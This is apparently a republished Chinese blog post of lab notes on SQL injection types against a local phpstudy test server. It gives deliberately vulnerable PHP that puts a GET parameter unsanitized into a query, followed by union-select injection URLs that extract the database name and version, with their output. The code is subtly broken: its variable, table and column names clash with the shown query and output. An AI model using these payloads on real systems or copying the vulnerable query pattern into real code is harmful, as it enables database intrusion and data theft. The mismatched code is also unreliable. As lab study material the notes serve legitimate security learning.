类型SQL注入实验 Part1

Posted ForeverSong

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了类型SQL注入实验 Part1相关的知识,希望对你有一定的参考价值。

准备为phpstudy环境

<?php

$id = $_GET[‘t‘];
$conn = mysql_connect("127.0.0.1","root","root");
mysql_select_db("kimmy",$conn);
$sql="select * from admin where use=$title";

$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "UserId".$row[‘id‘]."<br >";
echo "Title".$row[‘title‘]."<br >";
echo "TextContent".$row[‘text‘]."<br >";
}

mysql_close($conn);

echo "The SQL Sentence:".$sql;

?>

数字型

字符型:
PHP脚本

URL:
http://192.168.221.188/sqltest/index.php?t=admin‘ union select 1,2,3 and ‘1‘=‘1

输出:
UserId:1
Username:admin
Password:password
UserId:1
Username:2
Password:1
The SQL Sentence:select * from info where username=‘admin‘ union select 1,2,3 and ‘1‘=‘1‘

URL:
http://192.168.221.188/sqltest/index.php?t=admin‘ union select database(),version(),3 and ‘1‘=‘1

输出:
UserId:1
Username:admin
Password:password
UserId:kimmy
Username:5.5.53
Password:1
The SQL Sentence:select * from info where username=‘admin‘ union select database(),version(),3 and ‘1‘=‘1‘

搜索型:
%通配符

 

提交注入

GET注入

Post注入

Cookie注入

http头注入

基础;http数据包

PHP:

$_GET 接受get传递

$_POST接受post传递

$_COOKIE接受cookie传递

$_REQUEST 全部接受

 

Asp:

Request.querystring  接受get

Request.form接受post

Request.cookie 接受cookie

Request 全部接受

以上是关于类型SQL注入实验 Part1的主要内容,如果未能解决你的问题,请参考以下文章

NSATP-A学习笔记之Day3-4常见注入类型

SQL注入-数据库类型判断

SQL注入之注入原理

软件安全实验——pre8(SQL注入预习)

web实验4--SQL注入

实验吧web-简单的sql注入之1